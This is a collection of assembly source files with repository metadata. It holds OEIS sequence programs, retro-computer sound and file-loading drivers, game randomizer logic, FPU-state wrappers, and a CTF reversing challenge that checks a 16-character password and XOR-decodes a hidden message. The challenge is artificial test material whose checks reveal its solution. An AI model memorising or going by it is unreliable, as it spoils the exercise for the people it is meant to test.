programs/oeis/055/A055802.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/055/A055802.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A055802: a(n) = T(n,n-2), array T as in A055801.
; 1,1,1,2,3,4,6,7,10,11,15,16,21,22,28,29,36,37,45,46,55,56,66,67,78,79,91,92,105,106,120,121,136,137,153,154,171,172,190,191,210,211,231,232,253,254,276,277,300,301,325,326,351,352,378,379,406,407,435,436,465,466,496,497,528,529,561,562,595,596,630,631,666,667,703,704,741,742,780,781,820,821,861,862,903,904,946,947,990,991,1035,1036,1081,1082,1128,1129,1176,1177,1225,1226,1275,1276,1326,1327,1378,1379,1431,1432,1485,1486,1540,1541,1596,1597,1653,1654,1711,1712,1770,1771,1830,1831,1891,1892,1953,1954,2016,2017,2080,2081,2145,2146,2211,2212,2278,2279,2346,2347,2415,2416,2485,2486,2556,2557,2628,2629,2701,2702,2775,2776,2850,2851,2926,2927,3003,3004,3081,3082,3160,3161,3240,3241,3321,3322,3403,3404,3486,3487,3570,3571,3655,3656,3741,3742,3828,3829,3916,3917,4005,4006,4095,4096,4186,4187,4278,4279,4371,4372,4465,4466,4560,4561,4656,4657,4753,4754,4851,4852,4950,4951,5050,5051,5151,5152,5253,5254,5356,5357,5460,5461,5565,5566,5671,5672,5778,5779,5886,5887,5995,5996,6105,6106,6216,6217,6328,6329,6441,6442,6555,6556,6670,6671,6786,6787,6903,6904,7021,7022,7140,7141,7260,7261,7381,7382,7503,7504,7626,7627,7750,7751
trn $0,2
mov $1,$0
lpb $0
sub $0,2
add $1,$2
add $2,1
lpe
add $1,1
| 104.25
| 1,125
| 0.752198
|
42edc24572a64e8c9b95c9ad4bf8242994992b17
| 667
|
asm
|
Assembly
|
oeis/102/A102700.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/102/A102700.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/102/A102700.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A102700: Numbers k such that 10*k + 9 is prime.
; Submitted by Jon Maiga
; 1,2,5,7,8,10,13,14,17,19,22,23,26,34,35,37,38,40,41,43,44,47,49,50,56,59,61,65,70,71,73,76,80,82,83,85,91,92,100,101,103,104,106,110,112,122,124,125,127,128,131,139,140,142,143,145,148,149,154,155,157,160,161,166,169,170,175,178,187,188,194,197,199,202,203,206,208,209,212,217,223,226,230,233,238,239,245,253,254,257,260,265,268,269,271,272,274,278,281,287
mov $2,36
mul $2,$0
mov $4,18
lpb $2
mov $3,$4
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,10
lpe
mov $0,$4
div $0,10
| 31.761905
| 358
| 0.661169
|
99a8d3905020bef4daa6ddd4ea482fab839898e9
| 1,273
|
asm
|
Assembly
|
programs/oeis/054/A054995.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/054/A054995.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/054/A054995.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A054995: A version of Josephus problem: a(n) is the surviving integer under the following elimination process. Arrange 1,2,3,...,n in a circle, increasing clockwise. Starting with i=1, delete the integer two places clockwise from i. Repeat, counting two places from the next undeleted integer, until only one integer remains.
; 1,2,2,1,4,1,4,7,1,4,7,10,13,2,5,8,11,14,17,20,2,5,8,11,14,17,20,23,26,29,1,4,7,10,13,16,19,22,25,28,31,34,37,40,43,46,2,5,8,11,14,17,20,23,26,29,32,35,38,41,44,47,50,53,56,59,62,65,68,1,4,7,10,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,73,76,79,82,85,88,91,94,97,100,103,1,4,7,10,13,16,19,22,25,28,31,34,37,40,43,46,49,52,55,58,61,64,67,70,73,76,79,82,85,88,91,94,97,100,103,106,109,112,115,118,121,124,127,130,133,136,139,142,145,148,151,154,157,2,5,8,11,14,17,20,23,26,29,32,35,38,41,44,47,50,53,56,59,62,65,68,71,74,77,80,83,86,89,92,95,98,101,104,107,110,113,116,119,122,125,128,131,134,137,140,143,146,149,152,155,158,161,164,167,170,173,176,179,182,185,188,191,194,197,200,203,206,209,212,215,218,221,224,227,230,233,236,2,5,8,11,14,17,20,23,26,29,32,35,38,41
mov $1,2
mov $2,1
mov $3,2
mov $4,5
lpb $0,1
sub $0,1
add $1,9
mul $3,2
add $2,$3
add $2,1
mod $1,$2
sub $3,$4
gcd $3,$1
lpe
div $1,3
add $1,1
| 63.65
| 784
| 0.682639
|
f003a3cfeaf5730e80e6f5bfd170e5eb7a02d193
| 2,434
|
asm
|
Assembly
|
src/drivers/emulations/OPN2OnSFGTurboRPCM.asm
|
sharksym/vgmplay-sharksym
|
d7763b87a379da4e6dadcc55026969d310957952
|
[
"BSD-2-Clause"
] | 6
|
2020-04-21T17:26:27.000Z
|
2021-09-25T18:41:01.000Z
|
src/drivers/emulations/OPN2OnSFGTurboRPCM.asm
|
sharksym/vgmplay-sharksym
|
d7763b87a379da4e6dadcc55026969d310957952
|
[
"BSD-2-Clause"
] | null | null | null |
src/drivers/emulations/OPN2OnSFGTurboRPCM.asm
|
sharksym/vgmplay-sharksym
|
d7763b87a379da4e6dadcc55026969d310957952
|
[
"BSD-2-Clause"
] | null | null | null |
;
; OPN2 on SFG + turboR PCM driver
;
OPN2OnSFGTurboRPCM_CLOCK: equ 7670453
OPN2OnSFGTurboRPCM: MACRO
super: Driver Device_noName, OPN2OnSFGTurboRPCM_CLOCK, OPN2OnSFGTurboRPCM_PrintInfoImpl
opnFMOnSFGDriver:
dw 0
turboRPCMDriver:
dw 0
; e = register
; d = value
SafeWriteRegister: PROC
ld a,e
cp 2AH
jp z,System_Return
writePCMRegister: equ $ - 2
jp System_Return
writeFMRegister: equ $ - 2
ENDP
; e = register
; d = value
SafeWriteRegister2: PROC
ld a,e
jp System_Return
writeFMRegister: equ $ - 2
ENDP
; d = value
SafeWritePCMRegister: PROC
jp System_Return
writePCMRegister: equ $ - 2
ENDP
ENDM
; ix = this
; iy = drivers
OPN2OnSFGTurboRPCM_Construct:
call Driver_Construct
call OPN2OnSFGTurboRPCM_TryCreateOPNFMOnSFGDirect
jp nc,Driver_NotFound
ld (ix + OPN2OnSFGTurboRPCM.opnFMOnSFGDriver),e
ld (ix + OPN2OnSFGTurboRPCM.opnFMOnSFGDriver + 1),d
ld bc,OPN2OnSFGTurboRPCM.SafeWriteRegister.writeFMRegister
call Device_ConnectInterface
ld bc,OPN2OnSFGTurboRPCM.SafeWriteRegister2.writeFMRegister
call Device_ConnectInterface
push ix
ld ixl,e
ld ixh,d
ld de,38464
call OPNFMOnSFG_SetFrequencyOffset
pop ix
call OPN2OnSFGTurboRPCM_TryCreatePCM
ret nc
ld (ix + OPN2OnSFGTurboRPCM.turboRPCMDriver),e
ld (ix + OPN2OnSFGTurboRPCM.turboRPCMDriver + 1),d
ld bc,OPN2OnSFGTurboRPCM.SafeWriteRegister.writePCMRegister
call Device_ConnectInterface
ld bc,OPN2OnSFGTurboRPCM.SafeWritePCMRegister.writePCMRegister
jp Device_ConnectInterfaceAgain
; ix = this
OPN2OnSFGTurboRPCM_Destruct: equ System_Return
; ret
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; f <- c: succeeded
OPN2OnSFGTurboRPCM_TryCreateOPNFMOnSFGDirect: equ OPNOnSFGPSG_TryCreateOPNFMOnSFGDirect
; jp OPNOnSFGPSG_TryCreateOPNFMOnSFGDirect
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; f <- c: succeeded
OPN2OnSFGTurboRPCM_TryCreatePCM: equ OPN2OnTurboRPCM_TryCreatePCM
; jp OPN2OnTurboRPCM_TryCreatePCM
; ix = this
OPN2OnSFGTurboRPCM_PrintInfoImpl:
ld de,OPN2OnSFGTurboRPCM.opnFMOnSFGDriver
call Driver_PrintInfoIXOffset
ld de,OPN2OnSFGTurboRPCM.turboRPCMDriver
jp Driver_PrintInfoIXOffset
;
SECTION RAM
OPN2OnSFGTurboRPCM_instance: OPN2OnSFGTurboRPCM
ENDS
OPN2OnSFGTurboRPCM_interface:
InterfaceOffset OPN2OnSFGTurboRPCM.SafeWriteRegister
InterfaceOffset OPN2OnSFGTurboRPCM.SafeWriteRegister2
InterfaceOffset OPN2OnSFGTurboRPCM.SafeWritePCMRegister
| 23.403846
| 88
| 0.809367
|
ea181fb89feba8123d6a802c61db13f4815ed0fb
| 722
|
asm
|
Assembly
|
oeis/233/A233450.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/233/A233450.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/233/A233450.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A233450: Numbers n such that 3*T(n)+1 is a square, where T = A000217.
; Submitted by Jamie Morken(w1)
; 0,1,6,15,64,153,638,1519,6320,15041,62566,148895,619344,1473913,6130878,14590239,60689440,144428481,600763526,1429694575,5946945824,14152517273,58868694718,140095478159,582740001360,1386802264321,5768531318886,13727927165055,57102573187504,135892469386233,565257200556158,1345196766697279,5595469432374080,13316075197586561,55389437123184646,131815555209168335,548298901799472384,1304839476894096793,5427599580871539198,12916579213731799599,53727696906915919600,127860952660423899201
mov $3,5
lpb $0
sub $0,1
add $3,1
add $3,$2
mov $1,$3
dif $1,2
add $2,$1
add $3,2
add $3,$2
lpe
mov $0,$2
div $0,3
| 40.111111
| 485
| 0.799169
|
3d639b529c74f8b079078160e0dd43a99747f5ce
| 5,216
|
asm
|
Assembly
|
src/io-esxdos.asm
|
fjpena/sword-of-ianna-zx
|
fdd6bdb5775933756e75402a7c6be80d5334702d
|
[
"Apache-2.0"
] | 67
|
2017-10-07T18:48:05.000Z
|
2022-02-01T20:37:40.000Z
|
src/io-esxdos.asm
|
fjpena/sword-of-ianna-zx
|
fdd6bdb5775933756e75402a7c6be80d5334702d
|
[
"Apache-2.0"
] | null | null | null |
src/io-esxdos.asm
|
fjpena/sword-of-ianna-zx
|
fdd6bdb5775933756e75402a7c6be80d5334702d
|
[
"Apache-2.0"
] | 9
|
2017-10-06T21:02:55.000Z
|
2022-01-06T03:11:58.000Z
|
; Generic I/O for ESXDOS
INCLUDE "unodos.api"
level_offset: dw 0 ; level 1
dw 10853 ; level 2
dw 22976 ; level 3
dw 35140 ; level 4
dw 47825 ; level 5
dw 62181 ; level 6
dw 0 ; level 7 (file 2)
dw 11783 ; level 8 (file 2)
dw 23899 ; level 0 (attract mode, file 2)
dw 27825 ; level 9 (easter egg)
level_size: dw 10853 ; level 1
dw 12123 ; level 2
dw 12164 ; level 3
dw 12685 ; level 4
dw 14356 ; level 5
dw 13925 ; level 6
dw 11783 ; level 7
dw 12116 ; level 8
dw 3926 ; level 0 (attract mode)
dw 8662 ; level 9 (easter egg)
sprite_offset: dw 0 ; skeleton
dw 2193 ; orc
dw 4216 ; mummy
dw 6441 ; troll
dw 8753 ; rock
dw 9252 ; knight
dw 11707 ; dal gurak
dw 14327 ; golem
dw 16813 ; ogre
dw 18999 ; minotaur
dw 21185 ; demon
dw 23309 ; golem - sup
dw 24590 ; ogre - sup
dw 25905 ; minotaur - sup
dw 27671 ; demon - sup
sprite_size: dw 2193 ; skeleton
dw 2023 ; orc
dw 2225 ; mummy
dw 2312 ; troll
dw 499 ; rock
dw 2455 ; knight
dw 2620 ; dal gurak
dw 2486 ; golem
dw 2186 ; ogre
dw 2186 ; minotaur
dw 2124 ; demon
dw 1281 ; golem - sup
dw 1315 ; ogre - sup
dw 1766 ; minotaur - sup
dw 1091 ; demon - sup
intro_data: dw 0, 1498 ; intro - frame
dw 1498, 4131 ; intro - screens
dw 5629, 3082 ; end - screens
dw 8711, 1814; end - credits
dw 10525, 2630 ; music - intro
dw 13155, 2052 ; music - end
dw 15207, 462 ; music - credits
; Load level from disk
; Will *always* place stuff in RAM Page 1, at $c000
; INPUT:
; - A: level to load
IO_LoadLevel:
cp 6
jr c, IO_LoadLevel_file1
ld ix, filename_2
jr IO_LoadLevel_common
IO_LoadLevel_file1:
ld ix, filename
IO_LoadLevel_common:
ld hl, level_offset
add a, a
ld e, a
ld d, 0
add hl, de ; hl points to the offset
ld c, (hl)
inc hl
ld b, (hl) ; BC holds the offset to load
ld hl, level_size
add hl, de
ld e, (hl)
inc hl
ld d, (hl) ; DE holds the size
ld hl, $C000 ; load at $C000
ld a, 1 ; and store in RAMBank1
call IO_Load
ret
; Load sprite from disk
; Will *always* place stuff in RAM page 4
; INPUT:
; - A: sprite to load
; - (current_spraddr): where to load
;
; RETURNS:
; - BC: number of bytes loaded
IO_LoadSprite:
ld hl, sprite_offset
add a, a
ld e, a
ld d, 0
add hl, de ; hl points to the offset
ld c, (hl)
inc hl
ld b, (hl) ; BC holds the offset to load
ld hl, sprite_size
add hl, de
ld e, (hl)
inc hl
ld d, (hl) ; DE holds the size
ld hl, (current_spraddr) ; load address
ld a, 4 ; and store in RAMBank4
ld ix, filename_spr
push de
call IO_Load
pop bc
ret
; Load intro screen pack from from disk
; Will *always* place stuff in RAM page 0, address $AC80
; INPUT:
; - A: screen pack to load
IO_LoadIntro:
ld hl, intro_data
add a, a
add a, a ; A*4, to offset
ld e, a
ld d, 0
add hl, de ; hl points to the offset
ld c, (hl)
inc hl
ld b, (hl) ; BC: offset in file
inc hl
ld e, (hl)
inc hl
ld d, (hl) ; DE: number of bytes to load
xor a ; Page 0
ld hl, $AC80 ; buffer
ld ix, filename_intro
call IO_Load
ret
; Load intro music
; Will *always* place stuff in RAM page 3, address $CC00
; INPUT:
; - A: music to load (for now, just 4)
IO_LoadIntroMusic:
ld hl, intro_data
add a, a
add a, a ; A*4, to offset
ld e, a
ld d, 0
add hl, de ; hl points to the offset
ld c, (hl)
inc hl
ld b, (hl) ; BC: offset in file
inc hl
ld e, (hl)
inc hl
ld d, (hl) ; DE: number of bytes to load
ld a, 3 ; Page 3
ld hl, $CB72 ; buffer
ld ix, filename_intro
jp IO_Load
; Set the proper environment for ESXDOS
previous_rambank: db 0
filename: db "ianna.dat",0
filename_2: db "ianna2.dat",0
filename_spr: db "ianna.spr",0
filename_intro: db "intro.bin",0
DOS_Setenv:
ld a, ($5B5C)
ld (previous_rambank), a
LD IY, 5C3Ah ; re-establish the IY pointer (just in case)
ret
; Restore the previous environment
; This means: IM2, previous RAM bank and screen
DOS_RestoreEnv:
di
ld a, (previous_rambank)
ld b, a
call setrambank
ei
ret
; Load from ESXDOS file
; INPUT:
; - HL: destination
; - A: page for destination
; - DE: number of bytes to load
; - BC: offset in file
; - IX: filename
esxdos_filehandle: db 0
IO_Load:
push hl
push de
push af
push bc
call DOS_Setenv
ld a, '*' ; Default drive
ld b, fa_read
rst $08
db f_open ; Open file
jp c,0 ; reset if open failed (change into something better!!!)
ld (esxdos_filehandle), a
; go to offset
pop bc
ld d, b
ld e, c
ld bc, 0 ; WARNING: this is only allowing up to 64K file offsets. If we need more than that, redesign it!
ld ixl, 0 ; seek from start of file
rst $08
db f_seek
jp c,0 ; reset if seek failed (change into something better!!!)
pop af
di
ld b, a
call setrambank
ei
pop bc ; BC = number of bytes to load
pop ix ; destination
ld a, (esxdos_filehandle)
rst $08
db f_read
ld a, (esxdos_filehandle)
rst $08
db f_close
call DOS_RestoreEnv
ret
| 19.683019
| 112
| 0.616756
|
ee8f2466e07f99ca62be593014314293fdcfc2fc
| 2,687
|
asm
|
Assembly
|
programs/oeis/259/A259308.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/259/A259308.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/259/A259308.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A259308: a(n) = 1 + sigma(n)^4.
; 2,82,257,2402,1297,20737,4097,50626,28562,104977,20737,614657,38417,331777,331777,923522,104977,2313442,160001,3111697,1048577,1679617,331777,12960001,923522,3111697,2560001,9834497,810001,26873857,1048577,15752962,5308417,8503057,5308417,68574962,2085137,12960001,9834497,65610001,3111697,84934657,3748097,49787137,37015057,26873857,5308417,236421377,10556002,74805202,26873857,92236817,8503057,207360001,26873857,207360001,40960001,65610001,12960001,796594177,14776337,84934657,116985857,260144642,49787137,429981697,21381377,252047377,84934657,429981697,26873857,1445900626,29986577,168896017,236421377,384160001,84934657,796594177,40960001,1196883217,214358882,252047377,49787137,2517630977,136048897,303595777,207360001,1049760001,65610001,2998219537,157351937,796594177,268435457,429981697,207360001,4032758017,92236817,855036082,592240897,2217373922,108243217,2176782337,116985857,1944810001,1358954497,688747537,136048897,6146560001,146410001,2176782337,533794817,3782742017,168896017,3317760001,429981697,1944810001,1097199377,1049760001,429981697,16796160001,312900722,1196883217,796594177,2517630977,592240897,9475854337,268435457,4228250626,959512577,4032758017,303595777,12745506817,655360001,1731891457,3317760001,5314410001,362673937,6879707137,384160001,12745506817,1358954497,2176782337,796594177,26376683282,1049760001,2428912657,2702336257,5006411537,506250001,19150131457,533794817,8100000001,2998219537,6879707137,1358954497,23612624897,623201297,3317760001,2176782337,20415837457,1358954497,17363069362,723394817,7471182097,6879707137,4032758017,796594177,53084160001,1121513122,11019960577,4569760001,8999178497,916636177,16796160001,3782742017,19150131457,3317760001,5314410001,1049760001,88873149457,1097199377,12745506817,3782742017,16796160001,2702336257,21743271937,2176782337,12745506817,10485760001,16796160001,1358954497,66597028097,1416468497,7471182097,12745506817,25344958402,1536953617,47971512577,1600000001,46753250626,5473632257,8767700497,3317760001,64524128257,4032758017,9475854337,9475854337,35477982737,3317760001,110075314177,2019963137,20415837457,6879707137,11019960577,4857532417,129600000001,4294967297,11859210001,7676563457,64524128257,4032758017,43237380097,2517630977,64524128257,26376683282,13680577297,2702336257,98344960001,2798410001,34828517377,21743271937,41006250001,2998219537,88873149457,6879707137,31116960001,10485760001,34828517377,3317760001,306402103297,3429742097,25344958402,17555190017,35477982737,13680577297,64524128257,6146560001,53084160001,12745506817,47971512577
cal $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
pow $0,4
mov $1,$0
add $1,1
| 335.875
| 2,539
| 0.883885
|
b9b84b63ef537f4cb5e5b7213b37c21c17eea4c3
| 643
|
asm
|
Assembly
|
src/scheduling/scheduler/fxsr.asm
|
Glowman554/FoxOS-kernel
|
06c9f820dee8769b23cf6ba4d5df9cb9324a14d7
|
[
"MIT"
] | 13
|
2021-02-19T16:54:18.000Z
|
2022-01-06T18:02:20.000Z
|
src/scheduling/scheduler/fxsr.asm
|
Glowman554/FoxOS-kernel
|
06c9f820dee8769b23cf6ba4d5df9cb9324a14d7
|
[
"MIT"
] | 1
|
2021-08-21T16:55:38.000Z
|
2021-08-24T10:34:32.000Z
|
src/scheduling/scheduler/fxsr.asm
|
Glowman554/FoxOS-kernel
|
06c9f820dee8769b23cf6ba4d5df9cb9324a14d7
|
[
"MIT"
] | 4
|
2021-08-20T15:28:01.000Z
|
2022-03-22T19:02:56.000Z
|
[bits 64]
;# _fxsave_if_supported-signature: extern "C" void _fxsave_if_supported(char* buffer)
;# _fxsave_if_supported-doc: C wrapper for the fxsave instruction.
[global _fxsave_if_supported]
_fxsave_if_supported:
mov rax, 1
cpuid
and edx, 1 << 24 ; check for FXSR
test edx, edx
je .exit
fxsave [rdi]
.exit:
ret
;# _fxrstor_if_supported-signature: extern "C" void _fxrstor_if_supported(char* buffer)
;# _fxrstor_if_supported-doc: C wrapper for the fxrstor instruction.
[global _fxrstor_if_supported]
_fxrstor_if_supported:
mov rax, 1
cpuid
and edx, 1 << 24 ; check for FXSR
test edx, edx
je .exit
fxrstor [rdi]
.exit
ret
| 19.484848
| 87
| 0.751166
|
cdd343f93d347812872e6ff929d6c7c5d745d688
| 1,260
|
asm
|
Assembly
|
capacityupgrades.asm
|
compiling/z3randomizer
|
e2e4db82370695c63d877cc20d0c07f18c4dbe02
|
[
"MIT"
] | 26
|
2018-12-19T03:33:19.000Z
|
2021-08-07T19:47:06.000Z
|
capacityupgrades.asm
|
compiling/z3randomizer
|
e2e4db82370695c63d877cc20d0c07f18c4dbe02
|
[
"MIT"
] | 26
|
2019-02-01T05:38:23.000Z
|
2022-01-20T21:25:39.000Z
|
capacityupgrades.asm
|
compiling/z3randomizer
|
e2e4db82370695c63d877cc20d0c07f18c4dbe02
|
[
"MIT"
] | 32
|
2018-12-18T13:54:33.000Z
|
2022-01-25T23:38:48.000Z
|
;================================================================================
; Capacity Logic
;================================================================================
!BOMB_UPGRADES = "$7EF370"
!BOMB_CURRENT = "$7EF343"
;--------------------------------------------------------------------------------
IncrementBombs:
LDA !BOMB_UPGRADES ; get bomb upgrades
!ADD.l StartingMaxBombs : BEQ + ; Skip if we can't have bombs
DEC
CMP !BOMB_CURRENT
!BLT +
LDA !BOMB_CURRENT
CMP.b #99 : !BGE +
INC : STA !BOMB_CURRENT
+
RTL
;--------------------------------------------------------------------------------
!ARROW_UPGRADES = "$7EF371"
!ARROW_CURRENT = "$7EF377"
;--------------------------------------------------------------------------------
IncrementArrows:
LDA !ARROW_UPGRADES ; get arrow upgrades
!ADD.l StartingMaxArrows : DEC
CMP !ARROW_CURRENT
!BLT +
LDA !ARROW_CURRENT
CMP.b #99 : !BGE +
INC : STA !ARROW_CURRENT
+
RTL
;--------------------------------------------------------------------------------
CompareBombsToMax:
LDA !BOMB_UPGRADES ; get bomb upgrades
!ADD.l StartingMaxBombs
CMP !BOMB_CURRENT
RTL
;--------------------------------------------------------------------------------
| 29.302326
| 81
| 0.371429
|
66a6d949aa38714c18b33bb97150dfdc4f08b829
| 547
|
asm
|
Assembly
|
oeis/153/A153161.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/153/A153161.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/153/A153161.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A153161: Numerators of Stern-Brocot tree hanging between 1/3 and 2/3; denominators=A153162.
; Submitted by Jamie Morken(w1)
; 1,2,3,3,3,4,5,4,5,5,4,5,7,8,7,5,7,8,7,7,8,7,5,6,9,11,10,11,13,12,9,6,9,11,10,11,13,12,9,9,12,13,11,10,11,9,6,7,11,14,13,15,18,17,13,14,19,21,18,17,19,16,11,7,11,14,13,15,18,17,13,14,19,21,18,17,19,16,11,11,16,19
mul $0,2
mov $1,1
mov $2,2
lpb $0
div $0,2
sub $0,1
mov $3,1
add $3,$0
div $3,2
add $3,1
mod $3,2
mov $4,$2
add $2,$1
sub $4,$1
mul $3,$4
add $1,$3
lpe
sub $2,$1
add $4,$2
mov $0,$4
| 21.88
| 213
| 0.59415
|
074ba9b63c95eda1a581ae0181fa705aa8ad5aeb
| 70
|
asm
|
Assembly
|
Assembly/Opcode.asm
|
piovezan/SOpt
|
a5ec90796b7bdf98f0675457fc4bb99c8695bc40
|
[
"MIT"
] | 148
|
2017-08-03T01:49:27.000Z
|
2022-03-26T10:39:30.000Z
|
Assembly/Opcode.asm
|
piovezan/SOpt
|
a5ec90796b7bdf98f0675457fc4bb99c8695bc40
|
[
"MIT"
] | 3
|
2017-11-23T19:52:05.000Z
|
2020-04-01T00:44:40.000Z
|
Assembly/Opcode.asm
|
piovezan/SOpt
|
a5ec90796b7bdf98f0675457fc4bb99c8695bc40
|
[
"MIT"
] | 59
|
2017-08-03T01:49:19.000Z
|
2022-03-31T23:24:38.000Z
|
xor rax, rax
xor rax, rbx
;https://pt.stackoverflow.com/q/458712/101
| 14
| 42
| 0.728571
|
b9a39199226e3d1aecd7204cec5b45cc7386e920
| 4,544
|
asm
|
Assembly
|
blackalps19/foo-fighter/challenge/foo.asm
|
ZenLulz/CTF-writeups
|
02b81e14eeb71b1a6c1a9ef5780770dd81d74c5e
|
[
"MIT"
] | 1
|
2019-11-21T15:14:14.000Z
|
2019-11-21T15:14:14.000Z
|
blackalps19/foo-fighter/challenge/foo.asm
|
ZenLulz/CTF-writeups
|
02b81e14eeb71b1a6c1a9ef5780770dd81d74c5e
|
[
"MIT"
] | null | null | null |
blackalps19/foo-fighter/challenge/foo.asm
|
ZenLulz/CTF-writeups
|
02b81e14eeb71b1a6c1a9ef5780770dd81d74c5e
|
[
"MIT"
] | null | null | null |
; nasm -f elf32 foo_fighter.asm && ld foo_fighter.o -o foo_fighter -m elf_i386 -e foo -dynamic-linker /lib/ld-linux.so.2 -lc
; Name: Foo Fighter
; Author: Testeur de stylos
; Description: What are these holy shits ?! Give me a password and I will maybe give you a flag ! Don't you trust me ? As they said, There is nothing left to lose !
section .text
global foo
extern puts
extern strlen
foo:
push ebp
mov ebp, esp
cmp dword [ebp+4], 2
jne .fOO
mov edi, dword [ebp+0xc]
test edi, edi
jz .fOO
push edi
call FOO
call F0o
.fOO:
lea edi, [rel F00]
push edi
call puts
call F0o
FOO:
push ebp
mov ebp, esp
mov edi, dword [ebp+0x8]
test edi, edi
call f0o
push edi
call strlen
cmp eax, 0x10
jne .F0O
movzx eax, byte[edi]
movzx ebx, byte[edi+2]
sub ebx, 0x20
cmp ebx, eax
jne .F0O
movzx eax, byte[edi+1]
movzx ebx, byte[edi+6]
cmp eax, ebx
jne .F0O
sub eax, 0x30
test eax, eax
jne .F0O
movzx ebx, byte[edi+8]
inc eax
sub ebx, 0x30
cmp eax, ebx
jne .F0O
movzx ebx, byte[edi+0xc]
inc eax
sub ebx, 0x30
dec ebx
cmp eax, ebx
jne .F0O
movzx eax, byte[edi+4]
movzx ebx, byte[edi+7]
sub eax, 0x20
xor eax, ebx
test eax, eax
jne .F0O
movzx eax, byte[edi+9]
movzx ebx, byte[edi+10]
inc eax
cmp eax, ebx
jne .F0O
movzx eax, byte[edi+3]
cmp eax, 0x5F
jne .F0O
movzx eax, byte[edi+4]
movzx ebx, byte[edi+10]
inc eax
dec ebx
cmp eax, ebx
jne .F0O
movzx eax, byte[edi+14]
mov ebx, 1
shl ebx, 5
inc ebx
cmp eax, ebx
jne .F0O
movzx ebx, byte[edi+2]
push 0x7
push ebx
call f0o
cmp eax, 0x1
jne .F0O
movzx ebx, byte[edi+4]
push 0x6
push ebx
call f0o
cmp eax, 0x1
jne .F0O
movzx eax, byte[edi+5]
movzx ebx, byte[edi+11]
mov ecx, eax
xor ecx, ebx
cmp ecx, 0x1b
jne .F0O
mov ecx, eax
add ecx, ebx
cmp ecx, 0xa3
jne .F0O
sub ebx, eax
cmp ebx, 5
jne .F0O
movzx ebx, byte[edi+13]
cmp ebx, 0x72
jne .F0O
movzx eax, byte[edi+14]
movzx ebx, byte[edi+15]
cmp eax, ebx
jne .F0O
call f00
leave
ret
.F0O:
lea edi, [rel FO0]
push edi
call puts
call F0o
f00:
push ebp
mov ebp, esp
xor ebx, ebx
xor ecx, ecx
lea esi, [rel fOo]
.FOo:
and ecx, 0xf
movzx eax, byte[esi+ebx]
movzx edx, byte[edi+ecx]
xor eax, edx
mov byte[esi+ebx], al
inc ebx
inc ecx
cmp ebx, 0xd5
jl .FOo
push esi
call puts
leave
ret
f0o:
push ebp
mov ebp, esp
xor eax, eax
mov edx, dword [ebp+0x8]
mov esi, dword [ebp+0xc]
mov ecx, edx
and ecx, 0xf0
shr ecx, 4
and edx, 0xf
cmp ecx, edx
jne .foO
cmp ecx, esi
jne .foO
inc eax
.foO:
leave
ret
F0o:
mov eax, 1
mov ebx, 0x0
int 0x80
section .data
F00 db "Mutter! Mutter! Gib mir arg!", 0ah, "./prog <key>", 0ah, 00h
Foo db "I have a message for you!", 0ah, 00h
FO0 db "Nope, wrong password", 0ah, 00h
